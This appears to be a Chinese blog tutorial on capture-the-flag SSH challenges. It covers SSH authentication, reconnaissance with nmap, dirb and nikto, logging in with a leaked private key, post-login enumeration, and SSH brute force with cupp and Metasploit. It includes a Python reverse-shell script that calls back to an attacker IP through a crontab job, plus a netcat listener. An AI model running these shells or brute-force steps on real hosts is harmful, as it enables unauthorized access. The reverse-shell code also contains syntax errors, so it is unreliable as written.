CTF-SSH服务测试(拿到第一个用户权限)

36 篇文章 65 订阅
6 篇文章 0 订阅

SSH协议介绍

SSH为Secure Shell的缩写,由IETF的网络小组(Network Working Group)所指定;SSH为建立在应用层基础上的安全协议。

SSH是目前较可靠,专为远程登录会话和其他网络服务提供安全性的协议。利用SSH协议可以有效防止远程管理过程中的信息泄露问题。

SSH最初是UNIX系统上的一个程序,后来又迅速扩展到其他操作平台。SSH在正确使用时可以弥补网络中的漏洞。SSH客户端使用于多种平台,几乎所有UNIX平台一包括HP-UX、Linux、AIX、Solaris、Digital UNIX、lrix,以及其他平台,都可运行SSH。是基于TCP 22号端口的服务。

SSH协议认证机制

基于口令的安全验证

只要知道账号和口令,就可以登录到远程主机,所有传输的数据都会被加密。但是不能保证在连接的服务器就是我们想连接的服务器,可能会有别的服务器在冒充真正的服务器,也就是收到“中间人”攻击。

基于密钥的安全验证

需要依靠密钥,必须为自己创建一对密钥,并把公用密钥放在需要访问的服务器上。如果你要连接到SSH服务器上,客户端软件就会向服务器发出请求,请求用你的私有密钥进行安全验证。服务器收到请求之后,先在该服务器上主目录下寻找公用密钥,然后把它和发送过来的私有密钥进行比较,如果一致,则验证成功,登录服务器,否则失败。

CTF比赛中:id_rsa为私钥,id_rsa.pub则是公钥

SSH协议验证机制弱点

基于口令的安全验证

基于字典的暴力破解。破解对应的用户名和密码,通过SSH客户端连接到远程主机的SSH服务,实现对服务器的一定控制。(不一定为ROOT权限)

基于密钥的安全验证

通过对主机信息的收集,获取到泄露的用户名和对应的密钥。
chmod 600 id_rsa ssh -i id_rsa 用户名@主机地址 登录服务器。(不一定是root权限)

CTF策略

信息探测

对于给定IP地址的靶场地址,对其进行渗透测试,首先需要考虑 靶场机器开发的服务。

探测靶场开放的服务与服务的版本
–nmap -sV 靶场IP
探测靶场全部信息
–nmap -A -v 靶场IP
探测靶场的操作系统类型与版本
–nmap -O 靶场IP

12bd1bfb75fbe4b9f1275b75b5fcd5b2.jpeg

使用nmap -A -v 192.168.1.106 探测全部信息

分析探测结果

对于开放ssh服务的22端口的靶场
首先考虑

  1. 暴力破解
  2. 私钥泄露(私钥有没有对应的密码、是否可以找到私钥的用户名)

对于开放http服务的80端口或者其他端口的靶场
首先考虑
1.通过浏览器访问对应的靶场http服务,如http://靶场ip地址:http服务端口
2.使用 探测工具对http的目录进行探测,如dirb http://靶场ip:http服务端口/

(大于1024端口)特殊端口

8080

挖掘敏感信息

使用浏览器对靶场ip的http服务探测,对页面中展示的内容也要注意,尤其是联系人等信息(有可能是SSH的用户名信息),递归访问,力争把每一个dirb扫描到的目录页面都访问查看;

尤其对于robots.txt,以及一些目录进行访问,挖掘具备利用价值的信息,对于开放ssh服务的靶场,务必要注意其是否可以寻找到ssh私钥信息(id_rsa);

对于某些靶场,也可使用nikto扫描器来挖掘敏感信息;
–nikto -host 靶场IP地址
特别注意config等特殊敏感文件,要细度扫描的结果,挖掘可利用的敏感信息。

登录服务器后 需要:
1.查看当前用户 whoami
2.id 查看当前用户的权限
3.查看跟目录寻找flag文件

如果是root权限,bane靶场被拿下,若不是,则需要提权,一般flag文件只属于root用户和对应的用户组。

cat /etc/passwd 查看所有用户的列表
cat /etc/group 查看用户组
find / -user 用户名 查看属于某些用户的文件
/tmp 查看缓冲文件目录

深入挖掘

通过/etc/crontab文件,设定系统定期执行的任务,编辑需要root权限。

如果在/etc/crontab下有某个用黄金局的定时计划文件,但是具体目录下没有这个定时执行文件,可以自行创建反弹shell,然后netcat执行监听获取对应用户的权限。

#!/usr/bin/python
import os,subprocess,socket

s=socket.socket(socket.AF_INET,socket,SOCK_STREAM)
s.connect(("攻击机IP地址""攻击机监听端口"))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])

攻击机netcat命令
–nc -lpv 未占用端口
查看占用端口 netstat -pantu

万不得已的时候,只能对SSH服务进行暴力破解,破解最后一个用户名,破解工具如hydra,medusa等;

利用cupp创建字典
– git clone https://github.com/jeanpborn/common-password.git
– chmod + x cupp.py
– ./cupp.py -i 以交互的方式创建字典

使用metasploit进行破解
use auxiliary/scanner/ssh/ssh_login

set rhosts xxxxxx
set username xxx
set pass_file /root/hadi.txt
set threads 5
set verbose true
run

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值